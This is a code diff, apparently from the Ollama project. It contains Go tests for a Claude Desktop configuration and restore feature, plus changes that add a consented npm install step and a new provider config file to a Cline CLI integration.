t.Fatal(err)
|
||||
}
|
||||
if err := os.MkdirAll(filepath.Dir(paths.profile), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(paths.meta, []byte(`{"appliedId":"`+claudeDesktopProfileID+`","entries":[{"id":"`+claudeDesktopProfileID+`","name":"Ollama"}]}`), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(paths.profile, []byte(`{"disableDeploymentModeChooser":true,"inferenceGatewayApiKey":"keep"}`), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
desktopPath := `C:\Users\parth\AppData\Local\AnthropicClaude\app-1.2.3\Claude.exe`
|
||||
running := true
|
||||
var openedPath string
|
||||
withClaudeDesktopProcessHooks(t,
|
||||
func() bool { return running },
|
||||
func() error {
|
||||
running = false
|
||||
return nil
|
||||
},
|
||||
func() error {
|
||||
t.Fatal("expected restart to open the captured Desktop executable path, not the generic launcher")
|
||||
return nil
|
||||
},
|
||||
)
|
||||
claudeDesktopRunningAppPath = func() string { return desktopPath }
|
||||
claudeDesktopOpenAppPath = func(path string) error {
|
||||
openedPath = path
|
||||
return nil
|
||||
}
|
||||
|
||||
if err := (&ClaudeDesktop{}).Restore(); err != nil {
|
||||
t.Fatalf("Restore returned error: %v", err)
|
||||
}
|
||||
if openedPath != desktopPath {
|
||||
t.Fatalf("opened path = %q, want %q", openedPath, desktopPath)
|
||||
}
|
||||
}
|
||||
|
||||
func TestClaudeDesktopWindowsOpenDoesNotFallBackToClaudeCommand(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
withClaudeDesktopPlatform(t, "windows")
|
||||
t.Setenv("LOCALAPPDATA", filepath.Join(tmpDir, "LocalAppData"))
|
||||
|
||||
oldRunningPath := claudeDesktopRunningAppPath
|
||||
claudeDesktopRunningAppPath = func() string { return "" }
|
||||
t.Cleanup(func() { claudeDesktopRunningAppPath = oldRunningPath })
|
||||
|
||||
err := defaultClaudeDesktopOpenApp()
|
||||
if err == nil || !strings.Contains(err.Error(), "Claude Desktop executable was not found") {
|
||||
t.Fatalf("defaultClaudeDesktopOpenApp error = %v, want executable-not-found error", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestClaudeDesktopConfigureStopsBeforeWriteWhenKeyValidationFails(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
withClaudeDesktopPlatform(t, "darwin")
|
||||
t.Setenv("OLLAMA_API_KEY", "bad-key")
|
||||
withClaudeDesktopValidation(t, func(context.Context, string) error {
|
||||
return errors.New("invalid key")
|
||||
})
|
||||
|
||||
err := (&ClaudeDesktop{}).ConfigureAutodiscovery()
|
||||
if err == nil || !strings.Contains(err.Error(), "invalid key") {
|
||||
t.Fatalf("Configure error = %v, want invalid key", err)
|
||||
}
|
||||
|
||||
paths, err := claudeDesktopConfigPaths()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := os.Stat(paths.desktopConfig); !errors.Is(err, os.ErrNotExist) {
|
||||
t.Fatalf("desktop config should not be written after validation failure, stat err = %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestValidateClaudeDesktopAPIKeyUsesClaudeModelsRoute(t *testing.T) {
|
||||
oldClient := claudeDesktopHTTPClient
|
||||
var gotPath, gotAuth string
|
||||
claudeDesktopHTTPClient = &http.Client{Transport: roundTripFunc(func(req *http.Request) (*http.Response, error) {
|
||||
gotPath = req.URL.Path
|
||||
gotAuth = req.Header.Get("Authorization")
|
||||
return &http.Response{
|
||||
StatusCode: http.StatusOK,
|
||||
Body: io.NopCloser(strings.NewReader(`{"data":[]}`)),
|
||||
Header: make(http.Header),
|
||||
}, nil
|
||||
})}
|
||||
t.Cleanup(func() {
|
||||
claudeDesktopHTTPClient = oldClient
|
||||
})
|
||||
|
||||
if err := validateClaudeDesktopAPIKey(context.Background(), "test-key"); err != nil {
|
||||
t.Fatalf("validateClaudeDesktopAPIKey returned error: %v", err)
|
||||
}
|
||||
if gotPath != "/v1/models" {
|
||||
t.Fatalf("validation path = %q, want /v1/models", gotPath)
|
||||
}
|
||||
if gotAuth != "Bearer test-key" {
|
||||
t.Fatalf("Authorization header = %q, want bearer key", gotAuth)
|
||||
}
|
||||
}
|
||||
|
||||
func TestValidateClaudeDesktopAPIKeyHidesInvalidHeaderDetails(t *testing.T) {
|
||||
err := validateClaudeDesktopAPIKey(context.Background(), "bad\nkey")
|
||||
if err == nil {
|
||||
t.Fatal("expected validation error for key with newline")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "could not verify Ollama API key") {
|
||||
t.Fatalf("validation error = %v, want friendly verification message", err)
|
||||
}
|
||||
if strings.Contains(err.Error(), "invalid header") || strings.Contains(err.Error(), "net/http") {
|
||||
t.Fatalf("validation error should not expose transport internals: %v", err)
|
||||
}
|
||||
if !strings.Contains(err.Error(), "https://ollama.com/settings/keys") {
|
||||
t.Fatalf("validation error should include settings link: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestClaudeDesktopConfigureRequiresAPIKey(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
withClaudeDesktopPlatform(t, "darwin")
|
||||
t.Setenv("OLLAMA_API_KEY", "")
|
||||
withClaudeDesktopValidation(t, func(context.Context, string) error {
|
||||
t.Fatal("validation should not run without an API key")
|
||||
return nil
|
||||
})
|
||||
|
||||
err := (&ClaudeDesktop{}).ConfigureAutodiscovery()
|
||||
if err == nil || !strings.Contains(err.Error(), "OLLAMA_API_KEY is required") {
|
||||
t.Fatalf("Configure error = %v, want missing key guidance", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestClaudeDesktopAPIKeyPromptIncludesSettingsLink(t *testing.T) {
|
||||
prompt := claudeDesktopAPIKeyPrompt()
|
||||
if !strings.Contains(prompt, "Enter Ollama API key") {
|
||||
t.Fatalf("prompt should ask for the API key, got %q", prompt)
|
||||
}
|
||||
if !strings.Contains(prompt, "https://ollama.com/settings/keys") {
|
||||
t.Fatalf("prompt should include API key settings link, got %q", prompt)
|
||||
}
|
||||
}
|
||||
|
||||
func TestClaudeDesktopConfigureReusesExistingAPIKey(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
withClaudeDesktopPlatform(t, "darwin")
|
||||
t.Setenv("OLLAMA_API_KEY", "")
|
||||
|
||||
paths, err := claudeDesktopConfigPaths()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.MkdirAll(filepath.Dir(paths.profile), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(paths.profile, []byte(`{"inferenceGatewayApiKey":"existing-key"}`), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
var validatedKey string
|
||||
withClaudeDesktopValidation(t, func(_ context.Context, key string) error {
|
||||
validatedKey = key
|
||||
return nil
|
||||
})
|
||||
|
||||
if err := (&ClaudeDesktop{}).ConfigureAutodiscovery(); err != nil {
|
||||
t.Fatalf("ConfigureAutodiscovery returned error: %v", err)
|
||||
}
|
||||
if validatedKey != "existing-key" {
|
||||
t.Fatalf("validated key = %q, want existing-key", validatedKey)
|
||||
}
|
||||
}
|
||||
|
||||
func TestClaudeDesktopConfigureReplacesInvalidExistingAPIKey(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
withClaudeDesktopPlatform(t, "darwin")
|
||||
withInteractiveSession(t, true)
|
||||
t.Setenv("OLLAMA_API_KEY", "")
|
||||
|
||||
paths, err := claudeDesktopConfigPaths()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.MkdirAll(filepath.Dir(paths.profile), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(paths.profile, []byte(`{"inferenceGatewayApiKey":"stale-key"}`), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
var validated []string
|
||||
withClaudeDesktopValidation(t, func(_ context.Context, key string) error {
|
||||
validated = append(validated, key)
|
||||
if key == "stale-key" {
|
||||
return errors.New("invalid key")
|
||||
}
|
||||
return nil
|
||||
})
|
||||
withClaudeDesktopPrompt(t, func() (string, error) {
|
||||
return "replacement-key", nil
|
||||
})
|
||||
|
||||
if err := (&ClaudeDesktop{}).ConfigureAutodiscovery(); err != nil {
|
||||
t.Fatalf("ConfigureAutodiscovery returned error: %v", err)
|
||||
}
|
||||
if diff := compareStrings(validated, []string{"stale-key", "replacement-key"}); diff != "" {
|
||||
t.Fatalf("validated keys mismatch: %s", diff)
|
||||
}
|
||||
profile := claudeDesktopReadJSON(t, paths.profile)
|
||||
if profile["inferenceGatewayApiKey"] != "replacement-key" {
|
||||
t.Fatalf("configured key = %v, want replacement-key", profile["inferenceGatewayApiKey"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestClaudeDesktopConfigureReusesExistingAPIKeyFromAnyWindowsProfile(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
withClaudeDesktopPlatform(t, "windows")
|
||||
local := filepath.Join(tmpDir, "LocalAppData")
|
||||
t.Setenv("LOCALAPPDATA", local)
|
||||
t.Setenv("OLLAMA_API_KEY", "")
|
||||
|
||||
targets, err := claudeDesktopTargetPaths()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
fallbackProfile := targets.thirdPartyProfiles[1].profile
|
||||
if err := os.MkdirAll(filepath.Dir(fallbackProfile), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(fallbackProfile, []byte(`{"inferenceGatewayApiKey":"fallback-key"}`), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
var validatedKey string
|
||||
withClaudeDesktopValidation(t, func(_ context.Context, key string) error {
|
||||
validatedKey = key
|
||||
return nil
|
||||
})
|
||||
|
||||
if err := (&ClaudeDesktop{}).ConfigureAutodiscovery(); err != nil {
|
||||
t.Fatalf("ConfigureAutodiscovery returned error: %v", err)
|
||||
}
|
||||
if validatedKey != "fallback-key" {
|
||||
t.Fatalf("validated key = %q, want fallback-key", validatedKey)
|
||||
}
|
||||
for _, target := range targets.thirdPartyProfiles {
|
||||
profile := claudeDesktopReadJSON(t, target.profile)
|
||||
if profile["inferenceGatewayApiKey"] != "fallback-key" {
|
||||
t.Fatalf("%s should reuse fallback key, got %v", target.profile, profile["inferenceGatewayApiKey"])
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestClaudeDesktopAutodiscoveryConfiguredRequiresAppliedOllamaProfile(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
withClaudeDesktopPlatform(t, "darwin")
|
||||
t.Setenv("OLLAMA_API_KEY", "test-api-key")
|
||||
withClaudeDesktopValidation(t, func(context.Context, string) error { return nil })
|
||||
|
||||
c := &ClaudeDesktop{}
|
||||
if err := c.ConfigureAutodiscovery(); err != nil {
|
||||
t.Fatalf("Configure returned error: %v", err)
|
||||
}
|
||||
if !c.AutodiscoveryConfigured() {
|
||||
t.Fatal("expected Claude Desktop autodiscovery config to be detected")
|
||||
}
|
||||
|
||||
paths, err := claudeDesktopConfigPaths()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(paths.meta, []byte(`{"appliedId":"custom"}`), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if c.AutodiscoveryConfigured() {
|
||||
t.Fatal("expected another applied profile to hide Claude Desktop autodiscovery config")
|
||||
}
|
||||
}
|
||||
|
||||
func TestClaudeDesktopAutodiscoveryConfiguredRequiresAPIKey(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
withClaudeDesktopPlatform(t, "darwin")
|
||||
t.Setenv("OLLAMA_API_KEY", "test-api-key")
|
||||
withClaudeDesktopValidation(t, func(context.Context, string) error { return nil })
|
||||
|
||||
c := &ClaudeDesktop{}
|
||||
if err := c.ConfigureAutodiscovery(); err != nil {
|
||||
t.Fatalf("Configure returned error: %v", err)
|
||||
}
|
||||
|
||||
paths, err := claudeDesktopConfigPaths()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
profile := claudeDesktopReadJSON(t, paths.profile)
|
||||
delete(profile, "inferenceGatewayApiKey")
|
||||
data, err := json.Marshal(profile)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(paths.profile, data, 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if c.AutodiscoveryConfigured() {
|
||||
t.Fatal("expected missing gateway API key to force Claude Desktop reconfiguration")
|
||||
}
|
||||
}
|
||||
|
||||
func TestClaudeDesktopRestoreSwitchesBackToFirstPartyMode(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
withClaudeDesktopPlatform(t, "darwin")
|
||||
withClaudeDesktopProcessHooks(t, func() bool { return false }, func() error { return nil }, func() error { return nil })
|
||||
|
||||
paths, err := claudeDesktopConfigPaths()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.MkdirAll(filepath.Dir(paths.profile), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(paths.meta, []byte(`{"appliedId":"`+claudeDesktopProfileID+`","entries":[{"id":"`+claudeDesktopProfileID+`","name":"Ollama"}]}`), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(paths.profile, []byte(`{"disableDeploymentModeChooser":true,"inferenceGatewayApiKey":"keep","inferenceProvider":"gateway","inferenceGatewayBaseUrl":"https://ollama.com","inferenceGatewayAuthScheme":"bearer","inferenceModels":["legacy"]}`), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if err := (&ClaudeDesktop{}).Restore(); err != nil {
|
||||
t.Fatalf("Restore returned error: %v", err)
|
||||
}
|
||||
|
||||
desktopConfig := claudeDesktopReadJSON(t, paths.desktopConfig)
|
||||
if desktopConfig["deploymentMode"] != "1p" {
|
||||
t.Fatalf("deploymentMode = %v, want 1p", desktopConfig["deploymentMode"])
|
||||
}
|
||||
normalConfig := claudeDesktopReadJSON(t, paths.normalConfig)
|
||||
if normalConfig["deploymentMode"] != "1p" {
|
||||
t.Fatalf("normal deploymentMode = %v, want 1p", normalConfig["deploymentMode"])
|
||||
}
|
||||
profile := claudeDesktopReadJSON(t, paths.profile)
|
||||
if profile["disableDeploymentModeChooser"] != false {
|
||||
t.Fatalf("disableDeploymentModeChooser = %v, want false", profile["disableDeploymentModeChooser"])
|
||||
}
|
||||
if profile["inferenceGatewayApiKey"] != "keep" {
|
||||
t.Fatal("restore should leave existing Ollama profile credentials in place")
|
||||
}
|
||||
for _, key := range []string{"inferenceProvider", "inferenceGatewayBaseUrl", "inferenceGatewayAuthScheme", "inferenceModels"} {
|
||||
if _, ok := profile[key]; ok {
|
||||
t.Fatalf("restore should clear stale %s from the Ollama profile: %v", key, profile)
|
||||
}
|
||||
}
|
||||
meta := claudeDesktopReadJSON(t, paths.meta)
|
||||
if _, ok := meta["appliedId"]; ok {
|
||||
t.Fatalf("restore should clear the applied Ollama third-party profile: %v", meta)
|
||||
}
|
||||
if (&ClaudeDesktop{}).AutodiscoveryConfigured() {
|
||||
t.Fatal("restore should leave Claude Desktop autodiscovery unconfigured")
|
||||
}
|
||||
}
|
||||
|
||||
func TestClaudeDesktopRestoreTouchesAllWindowsProfileCandidates(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
withClaudeDesktopPlatform(t, "windows")
|
||||
local := filepath.Join(tmpDir, "LocalAppData")
|
||||
t.Setenv("LOCALAPPDATA", local)
|
||||
withClaudeDesktopProcessHooks(t, func() bool { return false }, func() error { return nil }, func() error { return nil })
|
||||
|
||||
targets, err := claudeDesktopTargetPaths()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(targets.normalConfigs) != 2 {
|
||||
t.Fatalf("normal config target count = %d, want 2", len(targets.normalConfigs))
|
||||
}
|
||||
if len(targets.thirdPartyProfiles) != 2 {
|
||||
t.Fatalf("third-party target count = %d, want 2", len(targets.thirdPartyProfiles))
|
||||
}
|
||||
for _, target := range targets.thirdPartyProfiles {
|
||||
if err := os.MkdirAll(filepath.Dir(target.profile), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(target.meta, []byte(`{"appliedId":"`+claudeDesktopProfileID+`","entries":[{"id":"`+claudeDesktopProfileID+`","name":"Ollama"}]}`), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(target.profile, []byte(`{"disableDeploymentModeChooser":true,"inferenceGatewayApiKey":"keep","inferenceProvider":"gateway","inferenceGatewayBaseUrl":"https://ollama.com","inferenceGatewayAuthScheme":"bearer","inferenceModels":["legacy"]}`), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
if err := (&ClaudeDesktop{}).Restore(); err != nil {
|
||||
t.Fatalf("Restore returned error: %v", err)
|
||||
}
|
||||
|
||||
for _, path := range targets.normalConfigs {
|
||||
cfg := claudeDesktopReadJSON(t, path)
|
||||
if cfg["deploymentMode"] != "1p" {
|
||||
t.Fatalf("%s deploymentMode = %v, want 1p", path, cfg["deploymentMode"])
|
||||
}
|
||||
}
|
||||
for _, target := range targets.thirdPartyProfiles {
|
||||
cfg := claudeDesktopReadJSON(t, target.desktopConfig)
|
||||
if cfg["deploymentMode"] != "1p" {
|
||||
t.Fatalf("%s deploymentMode = %v, want 1p", target.desktopConfig, cfg["deploymentMode"])
|
||||
}
|
||||
meta := claudeDesktopReadJSON(t, target.meta)
|
||||
if _, ok := meta["appliedId"]; ok {
|
||||
t.Fatalf("%s should not keep the Ollama applied profile: %v", target.meta, meta)
|
||||
}
|
||||
profile := claudeDesktopReadJSON(t, target.profile)
|
||||
if profile["disableDeploymentModeChooser"] != false {
|
||||
t.Fatalf("%s disableDeploymentModeChooser = %v, want false", target.profile, profile["disableDeploymentModeChooser"])
|
||||
}
|
||||
if profile["inferenceGatewayApiKey"] != "keep" {
|
||||
t.Fatalf("%s should preserve gateway API key", target.profile)
|
||||
}
|
||||
for _, key := range []string{"inferenceProvider", "inferenceGatewayBaseUrl", "inferenceGatewayAuthScheme", "inferenceModels"} {
|
||||
if _, ok := profile[key]; ok {
|
||||
t.Fatalf("%s should clear stale %s: %v", target.profile, key, profile)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestClaudeDesktopRunReturnsUnsupported(t *testing.T) {
|
||||
withClaudeDesktopPlatform(t, "darwin")
|
||||
|
||||
withClaudeDesktopProcessHooks(t,
|
||||
func() bool {
|
||||
t.Fatal("Run should not inspect Claude Desktop process state")
|
||||
return false
|
||||
},
|
||||
func() error {
|
||||
t.Fatal("Run should not quit Claude Desktop")
|
||||
return nil
|
||||
},
|
||||
func() error {
|
||||
t.Fatal("Run should not open Claude Desktop")
|
||||
return nil
|
||||
},
|
||||
)
|
||||
|
||||
for _, args := range [][]string{nil, {"--foo"}} {
|
||||
err := (&ClaudeDesktop{}).Run("qwen3.5", nil, args)
|
||||
if err == nil {
|
||||
t.Fatal("expected Run to fail")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "Claude Desktop is no longer supported") {
|
||||
t.Fatalf("expected unsupported guidance, got %v", err)
|
||||
}
|
||||
if !strings.Contains(err.Error(), "ollama launch claude-desktop --restore") {
|
||||
t.Fatalf("expected restore guidance, got %v", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
+182
-24
@@ -6,41 +6,91 @@ import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/ollama/ollama/cmd/internal/fileutil"
|
||||
"github.com/ollama/ollama/envconfig"
|
||||
)
|
||||
|
||||
const clineLaunchProvider = "ollama"
|
||||
|
||||
// Cline implements Runner and Editor for the Cline CLI integration
|
||||
type Cline struct{}
|
||||
|
||||
func (c *Cline) String() string { return "Cline" }
|
||||
|
||||
func (c *Cline) Run(model string, args []string) error {
|
||||
if _, err := exec.LookPath("cline"); err != nil {
|
||||
return fmt.Errorf("cline is not installed, install with: npm install -g cline")
|
||||
func (c *Cline) Run(model string, _ []LaunchModel, args []string) error {
|
||||
bin, err := ensureClineInstalled()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
cmd := exec.Command("cline", args...)
|
||||
launchArgs := clineLaunchArgs(model, args)
|
||||
cmd := exec.Command(bin, launchArgs...)
|
||||
cmd.Stdin = os.Stdin
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
func ensureClineInstalled() (string, error) {
|
||||
if _, err := exec.LookPath("cline"); err == nil {
|
||||
return "cline", nil
|
||||
}
|
||||
|
||||
if _, err := exec.LookPath("npm"); err != nil {
|
||||
return "", fmt.Errorf("cline is not installed and required dependencies are missing\n\nInstall the following first:\n npm (Node.js): https://nodejs.org/\n\nThen re-run:\n ollama launch cline")
|
||||
}
|
||||
|
||||
ok, err := ConfirmPrompt("Cline is not installed. Install with npm?")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if !ok {
|
||||
return "", fmt.Errorf("cline installation cancelled")
|
||||
}
|
||||
|
||||
fmt.Fprintf(os.Stderr, "\nInstalling Cline...\n")
|
||||
cmd := exec.Command("npm", "install", "-g", "cline@latest")
|
||||
cmd.Stdin = os.Stdin
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
if err := cmd.Run(); err != nil {
|
||||
return "", fmt.Errorf("failed to install cline: %w", err)
|
||||
}
|
||||
|
||||
if _, err := exec.LookPath("cline"); err != nil {
|
||||
return "", fmt.Errorf("cline was installed but the binary was not found on PATH\n\nYou may need to restart your shell")
|
||||
}
|
||||
|
||||
fmt.Fprintf(os.Stderr, "%sCline installed successfully%s\n\n", ansiGreen, ansiReset)
|
||||
return "cline", nil
|
||||
}
|
||||
|
||||
func clineLaunchArgs(model string, extra []string) []string {
|
||||
return extra
|
||||
}
|
||||
|
||||
func (c *Cline) Paths() []string {
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
p := filepath.Join(home, ".cline", "data", "globalState.json")
|
||||
if _, err := os.Stat(p); err == nil {
|
||||
return []string{p}
|
||||
|
||||
var paths []string
|
||||
for _, p := range []string{
|
||||
clineProvidersPath(home),
|
||||
clineLegacyGlobalStatePath(home),
|
||||
} {
|
||||
if _, err := os.Stat(p); err == nil {
|
||||
paths = append(paths, p)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
return paths
|
||||
}
|
||||
|
||||
func (c *Cline) Edit(models []string) error {
|
||||
func (c *Cline) Edit(models []LaunchModel) error {
|
||||
if len(models) == 0 {
|
||||
return nil
|
||||
}
|
||||
@@ -50,26 +100,113 @@ func (c *Cline) Edit(models []string) error {
|
||||
return err
|
||||
}
|
||||
|
||||
configPath := filepath.Join(home, ".cline", "data", "globalState.json")
|
||||
providersPath := clineProvidersPath(home)
|
||||
legacyPath := clineLegacyGlobalStatePath(home)
|
||||
|
||||
providersConfig, err := readClineConfig(providersPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
legacyConfig, err := readClineConfig(legacyPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if err := writeClineProvidersConfig(providersPath, providersConfig, models[0].Name); err != nil {
|
||||
return err
|
||||
}
|
||||
return writeClineLegacyGlobalState(legacyPath, legacyConfig, models[0].Name)
|
||||
}
|
||||
|
||||
func clineProvidersPath(home string) string {
|
||||
return filepath.Join(home, ".cline", "data", "settings", "providers.json")
|
||||
}
|
||||
|
||||
func clineLegacyGlobalStatePath(home string) string {
|
||||
return filepath.Join(home, ".cline", "data", "globalState.json")
|
||||
}
|
||||
|
||||
func clineOllamaRootURL() string {
|
||||
return strings.TrimRight(envconfig.ConnectableHost().String(), "/")
|
||||
}
|
||||
|
||||
func clineProviderBaseURL() string {
|
||||
return clineOllamaRootURL() + "/v1"
|
||||
}
|
||||
|
||||
func readClineConfig(configPath string) (map[string]any, error) {
|
||||
config := make(map[string]any)
|
||||
if data, err := os.ReadFile(configPath); err == nil {
|
||||
if err := json.Unmarshal(data, &config); err != nil {
|
||||
return nil, fmt.Errorf("failed to parse config: %w, at: %s", err, configPath)
|
||||
}
|
||||
} else if !os.IsNotExist(err) {
|
||||
return nil, err
|
||||
}
|
||||
return config, nil
|
||||
}
|
||||
|
||||
func writeClineProvidersConfig(configPath string, config map[string]any, model string) error {
|
||||
if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
config := make(map[string]any)
|
||||
if data, err := os.ReadFile(configPath); err == nil {
|
||||
if err := json.Unmarshal(data, &config); err != nil {
|
||||
return fmt.Errorf("failed to parse config: %w, at: %s", err, configPath)
|
||||
}
|
||||
providers, _ := config["providers"].(map[string]any)
|
||||
if providers == nil {
|
||||
providers = make(map[string]any)
|
||||
}
|
||||
|
||||
// Set Ollama as the provider for both act and plan modes
|
||||
baseURL := envconfig.Host().String()
|
||||
provider, _ := providers[clineLaunchProvider].(map[string]any)
|
||||
if provider == nil {
|
||||
provider = make(map[string]any)
|
||||
}
|
||||
settings, _ := provider["settings"].(map[string]any)
|
||||
if settings == nil {
|
||||
settings = make(map[string]any)
|
||||
}
|
||||
|
||||
baseURL := clineProviderBaseURL()
|
||||
previousModel, _ := settings["model"].(string)
|
||||
previousBaseURL, _ := settings["baseUrl"].(string)
|
||||
previousTokenSource, _ := provider["tokenSource"].(string)
|
||||
|
||||
settings["provider"] = clineLaunchProvider
|
||||
settings["model"] = model
|
||||
settings["baseUrl"] = baseURL
|
||||
delete(settings, "apiKey")
|
||||
provider["settings"] = settings
|
||||
|
||||
if previousModel != model || previousBaseURL != baseURL || previousTokenSource != "manual" {
|
||||
provider["updatedAt"] = time.Now().UTC().Format(time.RFC3339Nano)
|
||||
} else if _, ok := provider["updatedAt"].(string); !ok {
|
||||
provider["updatedAt"] = time.Now().UTC().Format(time.RFC3339Nano)
|
||||
}
|
||||
provider["tokenSource"] = "manual"
|
||||
providers[clineLaunchProvider] = provider
|
||||
|
||||
config["version"] = float64(1)
|
||||
config["lastUsedProvider"] = clineLaunchProvider
|
||||
config["providers"] = providers
|
||||
|
||||
data, err := json.MarshalIndent(config, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return fileutil.WriteWithBackup(configPath, data, "cline")
|
||||
}
|
||||
|
||||
func writeClineLegacyGlobalState(configPath string, config map[string]any, model string) error {
|
||||
if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
baseURL := clineOllamaRootURL()
|
||||
config["ollamaBaseUrl"] = baseURL
|
||||
config["actModeApiProvider"] = "ollama"
|
||||
config["actModeOllamaModelId"] = models[0]
|
||||
config["actModeApiProvider"] = clineLaunchProvider
|
||||
config["actModeOllamaModelId"] = model
|
||||
config["actModeOllamaBaseUrl"] = baseURL
|
||||
config["planModeApiProvider"] = "ollama"
|
||||
config["planModeOllamaModelId"] = models[0]
|
||||
config["planModeApiProvider"] = clineLaunchProvider
|
||||
config["planModeOllamaModelId"] = model
|
||||
config["planModeOllamaBaseUrl"] = baseURL
|
||||
|
||||
config["welcomeViewCompleted"] = true
|
||||
@@ -78,7 +215,7 @@ func (c *Cline) Edit(models []string) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return fileutil.WriteWithBackup(configPath, data)
|
||||
return fileutil.WriteWithBackup(configPath, data, "cline")
|
||||
}
|
||||
|
||||
func (c *Cline) Models() []string {
|
||||
@@ -87,12 +224,18 @@ func (c *Cline) Models() []string {
|
||||
return nil
|
||||
}
|
||||
|
||||
config, err := fileutil.ReadJSON(filepath.Join(home, ".cline", "data", "globalState.json"))
|
||||
if model := clineProviderModel(home); model != "" {
|
||||
return []string{model}
|
||||
}
|
||||
|
||||
config, err := fileutil.ReadJSON(clineLegacyGlobalStatePath(home))
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
if config["actModeApiProvider"] != "ollama" {
|
||||
switch config["actModeApiProvider"] {
|
||||
case "ollama":
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -102,3 +245,18 @@ func (c *Cline) Models() []string {
|
||||
}
|
||||
return []string{modelID}
|
||||
}
|
||||
|
||||
func clineProviderModel(home string) string {
|
||||
config, err := fileutil.ReadJSON(clineProvidersPath(home))
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
if config["lastUsedProvider"] != clineLaunchProvider {
|
||||
return ""
|
||||
}
|
||||
providers, _ := config["providers"].(map[string]any)
|
||||
provider, _ := providers[clineLaunchProvider].(map[string]any)
|
||||
settings, _ := provider["settings"].(map[string]any)
|
||||
model, _ := settings["model"].(string)
|
||||
return model
|
||||
}
|
||||
+267
-9
@@ -2,8 +2,11 @@ package launch
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
